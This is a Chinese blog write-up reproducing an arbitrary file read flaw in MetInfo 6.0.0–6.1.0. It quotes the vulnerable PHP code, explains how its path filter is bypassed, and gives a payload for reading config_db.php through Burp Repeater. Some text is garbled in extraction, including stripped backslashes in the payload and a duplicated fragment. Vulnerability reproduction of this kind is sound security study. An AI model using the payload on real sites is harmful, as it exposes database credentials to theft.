您现在的位置是:首页 >技术杂谈 >metinfo_6.0.0 任意文件读取漏洞复现网站首页技术杂谈

metinfo_6.0.0 任意文件读取漏洞复现

gaynell 2024-06-04 10:27:27
简介metinfo_6.0.0 任意文件读取漏洞复现

一.漏洞简介

在这里插入图片描述

MetInfo是一套使用PHP和Mysql开发的内容管理系统。 MetInfo 6.0.0~6.1.0版本中的 old_thumb.class.php文件存在任意文件读取漏洞。攻击者可利用漏洞读取网站上的敏感文件。

二.漏洞影响

MetInfo 6.0.0
MetInfo 6.1.0

三.漏洞分析

在MetInfo6.0.0appsystemincludemodule的old_thumb.class.php文件中有$dir = str_replace(array(‘…/’,‘./’), ‘’, $_GET[‘dir’])代码!!!
在这里插入图片描述

<?php
#MetInfo Enterprise Content Management System
#Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved.
defined('IN_MET') or exit('No permission');
load::sys_class('web');
class old_thumb extends web{
      public function doshow(){
        global $_M;
         $dir = str_replace(array('../','./'), '', $_GET['dir']);
         #$dir直接由$_GET['dir']传参,并将../和./过滤
        if(substr(str_replace($_M['url']['site'], '', $dir),0,4) == 'http' && strpos($dir, './') === false){   
#使用substr函数提取字符串,从(str_replace($_M['url']['site'], '', $dir)的位置0开始取4个字符串。
#(str_replace($_M['url']['site'], '', $dir):是将$dir中包含$_M['url']['site']进行过滤掉 ' '。
#使用strpos函数查找$dir中的./首次出现的位置,并进行过滤。
            header("Content-type: image/jpeg");
            ob_start();
            readfile($dir);
            ob_flush();
            flush();
            die;
        }
......

从代码中可以看到, d i r 直接由 dir直接由 dir直接由_GET[‘dir’]传递进来,并将…/过滤替换为空。目标是进入到第一个if里面的readfile( d i r ) ; ,读取文件。外面是一个 s t r s t r 函数,判断 dir);,读取文件。外面是一个strstr函数,判断 dir);,读取文件。外面是一个strstr函数,判断dir中http字符串的首次出现位置,也就是说,要进入到这个if语句里面,$dir要以http开头。使用strpos函数查找./首次出现的位置,也就是说不能有./。没了./,在Windows下还可以用…来跳转目录。所以payload

四.构造payload

从上面的代码分析可以构造出payload,$dir要以http开头。使用strpos函数查找./首次出现的位置,也就是说不能有./。没了./,在Windows下还可以用…来跳转目录。所以最终payload如下

?dir=http....文件名

五.使用BP抓包

在这里插入图片描述

发送到repeater模块
在这里插入图片描述

写入payload

?dir=http....configconfig_db.php

在这里插入图片描述

文件读取成功!!!!

风语者!平时喜欢研究各种技术,目前在从事后端开发工作,热爱生活、热爱工作。